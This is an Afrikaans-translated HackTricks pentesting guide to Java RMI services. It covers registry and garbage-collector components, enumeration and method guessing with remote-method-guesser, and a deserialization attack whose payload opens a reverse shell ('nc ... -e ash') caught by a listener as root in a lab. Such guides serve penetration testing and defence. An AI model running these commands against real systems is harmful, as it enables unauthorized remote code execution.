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334 lines
19 KiB
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334 lines
19 KiB
Markdown
# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
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<details>
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<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Ander maniere om HackTricks te ondersteun:
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* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
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* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
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</details>
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<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
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\
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Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
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Kry Vandag Toegang:
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
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## Basiese Inligting
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_Java Remote Method Invocation_, of _Java RMI_, is 'n objekgeoriënteerde _RPC_-meganisme wat 'n objek wat in een _Java virtuele masjien_ geleë is, toelaat om metodes op 'n objek wat in 'n ander _Java virtuele masjien_ geleë is, te roep. Dit stel ontwikkelaars in staat om verspreide toepassings te skryf met behulp van 'n objekgeoriënteerde paradigma. 'n Kort inleiding tot _Java RMI_ vanuit 'n aanvallende perspektief kan gevind word in [hierdie blackhat-aanbieding](https://youtu.be/t\_aw1mDNhzI?t=202).
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**Verstekpoort:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
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```
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PORT STATE SERVICE VERSION
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1090/tcp open ssl/java-rmi Java RMI
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9010/tcp open java-rmi Java RMI
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37471/tcp open java-rmi Java RMI
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40259/tcp open ssl/java-rmi Java RMI
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```
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Gewoonlik is slegs die standaard _Java RMI_ komponente (die _RMI Registry_ en die _Activation System_) aan algemene poorte gebind. Die _remote objects_ wat die werklike _RMI_ aansoek implementeer, is gewoonlik aan lukrake poorte gebind soos in die bostaande uitset.
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_nmap_ het soms probleme om _SSL_ beskermde _RMI_ dienste te identifiseer. As jy 'n onbekende ssl-diens op 'n algemene _RMI_ poort raakloop, moet jy verder ondersoek instel.
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## RMI Komponente
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Om dit eenvoudig te stel, maak _Java RMI_ dit vir 'n ontwikkelaar moontlik om 'n _Java object_ beskikbaar te stel op die netwerk. Dit maak 'n _TCP_ poort oop waar kliënte kan koppel en metodes op die ooreenstemmende objek kan aanroep. Ten spyte van dat dit eenvoudig klink, is daar verskeie uitdagings wat _Java RMI_ moet oplos:
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1. Om 'n metode-oproep via _Java RMI_ te stuur, moet kliënte die IP-adres, die luisterpoort, die geïmplementeerde klas of koppelvlak en die `ObjID` van die geteikende objek ken (die `ObjID` is 'n unieke en lukrake identifiseerder wat geskep word wanneer die objek op die netwerk beskikbaar gestel word. Dit is nodig omdat _Java RMI_ toelaat dat verskeie objekte op dieselfde _TCP_ poort luister).
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2. Verre kliënte kan hulpbronne op die bediener toewys deur metodes op die blootgestelde objek aan te roep. Die _Java virtuele masjien_ moet byhou watter van hierdie hulpbronne nog in gebruik is en watter van hulle deur die gemorsverwydering ingesamel kan word.
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Die eerste uitdaging word opgelos deur die _RMI-register_, wat basies 'n benamingdiens vir _Java RMI_ is. Die _RMI-register_ self is ook 'n _RMI-diens_, maar die geïmplementeerde koppelvlak en die `ObjID` is vas en bekend by alle _RMI_ kliënte. Dit maak dit vir _RMI_ kliënte moontlik om die _RMI-register_ te verbruik deur net die ooreenstemmende _TCP_ poort te ken.
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Wanneer ontwikkelaars hul _Java objekte_ binne die netwerk beskikbaar wil maak, bind hulle dit gewoonlik aan 'n _RMI-register_. Die _register_ stoor alle inligting wat nodig is om met die objek te koppel (IP-adres, luisterpoort, geïmplementeerde klas of koppelvlak en die `ObjID`-waarde) en maak dit beskikbaar onder 'n mensleesbare naam (die _gebonde naam_). Kliënte wat die _RMI-diens_ wil verbruik, vra die _RMI-register_ vir die ooreenstemmende _gebonde naam_ en die register gee al die nodige inligting om te koppel terug. Dus, die situasie is basies dieselfde as met 'n gewone _DNS_ diens. Die volgende lys toon 'n klein voorbeeld:
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```java
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import java.rmi.registry.Registry;
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import java.rmi.registry.LocateRegistry;
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import lab.example.rmi.interfaces.RemoteService;
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public class ExampleClient {
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private static final String remoteHost = "172.17.0.2";
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private static final String boundName = "remote-service";
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public static void main(String[] args)
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{
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try {
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Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
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RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
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String response = ref.remoteMethod(); // Call a remote method
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} catch( Exception e) {
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e.printStackTrace();
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}
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}
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}
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```
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Die tweede van die bogenoemde uitdagings word opgelos deur die _Verspreide Vullisverwyderaar_ (_DGC_). Dit is nog 'n _RMI-diens_ met 'n bekende `ObjID`-waarde en dit is beskikbaar op basies elke _RMI-eindpunt_. Wanneer 'n _RMI-kliënt_ begin om 'n _RMI-diens_ te gebruik, stuur dit 'n inligting na die _DGC_ dat die ooreenstemmende _afgeleë voorwerp_ in gebruik is. Die _DGC_ kan dan die verwysingsgetal volg en ongebruikte voorwerpe skoonmaak.
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Saam met die verouderde _Aktiveringsisteem_ is hierdie die drie verstekkomponente van _Java RMI_:
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1. Die _RMI-Register_ (`ObjID = 0`)
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2. Die _Aktiveringsisteem_ (`ObjID = 1`)
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3. Die _Verspreide Vullisverwyderaar_ (`ObjID = 2`)
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Die verstekkomponente van _Java RMI_ is al 'n geruime tyd bekende aanvalsvectors en daar bestaan meerdere kwesbaarhede in verouderde _Java_-weergawes. Vanuit 'n aanvaller-perspektief is hierdie verstekkomponente interessant, omdat hulle bekende klasse / koppelvlakke geïmplementeer het en dit maklik is om met hulle te interaksieer. Hierdie situasie is anders vir aangepaste _RMI-dienste_. Om 'n metode op 'n _afgeleë voorwerp_ te roep, moet jy die ooreenstemmende metodesignatuur op voorhand ken. Sonder om 'n bestaande metodesignatuur te ken, is daar geen manier om met 'n _RMI-diens_ te kommunikeer nie.
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## RMI Enumerasie
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[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) is 'n _Java RMI_ kwesbaarheidsskandeerder wat in staat is om algemene _RMI-kwesbaarhede_ outomaties te identifiseer. Wanneer jy 'n _RMI_ eindpunt identifiseer, moet jy dit probeer:
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```
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$ rmg enum 172.17.0.2 9010
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[+] RMI registry bound names:
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[+]
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[+] - plain-server2
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[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
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[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
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[+] - legacy-service
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[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
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[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
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[+] - plain-server
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[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
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[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
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[+]
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[+] RMI server codebase enumeration:
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[+]
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[+] - http://iinsecure.dev/well-hidden-development-folder/
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[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
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[+] --> de.qtc.rmg.server.interfaces.IPlainServer
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[+]
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[+] RMI server String unmarshalling enumeration:
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[+]
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[+] - Caught ClassNotFoundException during lookup call.
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[+] --> The type java.lang.String is unmarshalled via readObject().
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[+] Configuration Status: Outdated
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[+]
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[+] RMI server useCodebaseOnly enumeration:
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[+]
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[+] - Caught MalformedURLException during lookup call.
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[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
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[+] Configuration Status: Non Default
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[+]
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[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
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[+]
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[+] - Caught NotBoundException during unbind call (unbind was accepeted).
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[+] Vulnerability Status: Vulnerable
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[+]
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[+] RMI Security Manager enumeration:
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[+]
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[+] - Security Manager rejected access to the class loader.
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[+] --> The server does use a Security Manager.
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[+] Configuration Status: Current Default
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[+]
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[+] RMI server JEP290 enumeration:
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[+]
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[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
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[+] Vulnerability Status: Non Vulnerable
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[+]
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[+] RMI registry JEP290 bypass enmeration:
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[+]
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[+] - Caught IllegalArgumentException after sending An Trinh gadget.
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[+] Vulnerability Status: Vulnerable
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[+]
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[+] RMI ActivationSystem enumeration:
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[+]
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[+] - Caught IllegalArgumentException during activate call (activator is present).
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[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
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[+] --> Client codebase enabled - Configuration Status: Non Default
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```
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Die uitset van die enumerasie-aksie word meer in detail verduidelik in die [dokumentasiebladsye](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) van die projek. Afhangende van die uitkoms, moet jy probeer om geïdentifiseerde kwesbaarhede te verifieer.
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Die `ObjID`-waardes wat deur _remote-method-guesser_ vertoon word, kan gebruik word om die tyd aanlyn van die diens te bepaal. Dit mag help om ander kwesbaarhede te identifiseer:
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```
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$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
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[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
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[+]
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[+] ObjNum: -4004948013687638236
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[+] UID:
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[+] Unique: 1442798173
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[+] Time: 1640761503828 (Dec 29,2021 08:05)
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[+] Count: -32760
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```
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## Bruteforcing Remote Metodes
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Selfs wanneer geen kwesbaarhede geïdentifiseer is tydens enumerasie, kan die beskikbare _RMI_ dienste steeds gevaarlike funksies blootstel. Verder, ten spyte van _RMI_ kommunikasie na _RMI_ standaard komponente wat beskerm word deur deserialisasie filters, wanneer daar met aangepaste _RMI_ dienste gepraat word, is sulke filters gewoonlik nie op hul plek nie. Om geldige metode handtekeninge op _RMI_ dienste te ken, is dus waardevol.
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Ongelukkig ondersteun _Java RMI_ nie die opnoem van metodes op _afgeleë voorwerpe_ nie. Dit gesê wees, dit is moontlik om metode handtekeninge met gereedskap soos [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) of [rmiscout](https://github.com/BishopFox/rmiscout) te bruteforce:
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```
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$ rmg guess 172.17.0.2 9010
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[+] Reading method candidates from internal wordlist rmg.txt
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[+] 752 methods were successfully parsed.
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[+] Reading method candidates from internal wordlist rmiscout.txt
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[+] 2550 methods were successfully parsed.
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[+]
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[+] Starting Method Guessing on 3281 method signature(s).
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[+]
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[+] MethodGuesser is running:
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[+] --------------------------------
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[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
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[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
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[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
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[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
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[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
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[+] [6562 / 6562] [#####################################] 100%
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[+] done.
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[+]
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[+] Listing successfully guessed methods:
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[+]
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[+] - plain-server2 == plain-server
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[+] --> String execute(String dummy)
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[+] --> String system(String dummy, String[] dummy2)
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[+] - legacy-service
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[+] --> void logMessage(int dummy1, String dummy2)
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[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
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[+] --> String login(java.util.HashMap dummy1)
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```
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Geïdentifiseerde metodes kan soos volg geroep word:
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```
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$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
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[+] uid=0(root) gid=0(root) groups=0(root)
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```
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Of jy kan deserialisasie aanvalle uitvoer soos hierdie:
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```
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$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
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[+] Creating ysoserial payload... done.
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[+]
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[+] Attempting deserialization attack on RMI endpoint...
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[+]
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[+] Using non primitive argument type java.lang.String on position 0
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[+] Specified method signature is String execute(String dummy)
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[+]
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[+] Caught ClassNotFoundException during deserialization attack.
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[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
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[+] Deserialization attack probably worked :)
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$ nc -vlp 4444
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Ncat: Version 7.92 ( https://nmap.org/ncat )
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Ncat: Listening on :::4444
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Ncat: Listening on 0.0.0.0:4444
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Ncat: Connection from 172.17.0.2.
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Ncat: Connection from 172.17.0.2:45479.
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id
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uid=0(root) gid=0(root) groups=0(root)
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```
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Meer inligting kan gevind word in hierdie artikels:
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* [Aanvalle op Java RMI-diens na JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
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* [Metode Raai](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
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* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
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* [rmiscout](https://bishopfox.com/blog/rmiscout)
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Afgesien van raaiwerk, moet jy ook in soek enjins of _GitHub_ kyk vir die koppelvlak of selfs die implementering van 'n teengekomde _RMI_ diens. Die _gebonden naam_ en die naam van die geïmplementeerde klas of koppelvlak kan hier nuttig wees.
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## Bekende Koppelvlakke
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[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) merk klasse of koppelvlakke as `bekend` as hulle gelys word in die gereedskap se interne databasis van bekende _RMI-dienste_. In hierdie gevalle kan jy die `bekend` aksie gebruik om meer inligting oor die betrokke _RMI-diens_ te kry:
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```
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$ rmg enum 172.17.0.2 1090 | head -n 5
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[+] RMI registry bound names:
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[+]
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[+] - jmxrmi
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[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
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[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
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$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
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[+] Name:
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[+] JMX Server
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[+]
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[+] Class Name:
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[+] - javax.management.remote.rmi.RMIServerImpl_Stub
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[+] - javax.management.remote.rmi.RMIServer
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[+]
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[+] Description:
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[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
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[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
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[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
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[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
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[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
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[+]
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[+] Remote Methods:
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[+] - String getVersion()
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[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
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[+]
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[+] References:
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[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
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[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
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[+]
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[+] Vulnerabilities:
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[+]
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[+] -----------------------------------
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[+] Name:
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[+] MLet
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[+]
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[+] Description:
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[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
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[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
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[+] is therefore most of the time equivalent to remote code execution.
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[+]
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[+] References:
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[+] - https://github.com/qtc-de/beanshooter
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[+]
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[+] -----------------------------------
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[+] Name:
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[+] Deserialization
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[+]
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[+] Description:
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[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
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[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
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[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
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[+] establish a working JMX connection, you can also perform deserialization attacks.
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[+]
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[+] References:
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[+] - https://github.com/qtc-de/beanshooter
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```
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## Shodan
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* `poort:1099 java`
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## Gereedskap
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* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
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* [rmiscout](https://github.com/BishopFox/rmiscout)
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* [BaRMIe](https://github.com/NickstaDB/BaRMIe)
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## Verwysings
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* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
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```
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Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
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Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
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Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
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Entry_1:
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Name: Enumeration
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Description: Perform basic enumeration of an RMI service
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Command: rmg enum {IP} {PORT}
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|
```
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
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|
|
|
\
|
|
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
|
Kry Vandaag Toegang:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Ander maniere om HackTricks te ondersteun:
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|
|
|
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
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|
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
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|
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
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|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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|
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
|
|
|
</details>
|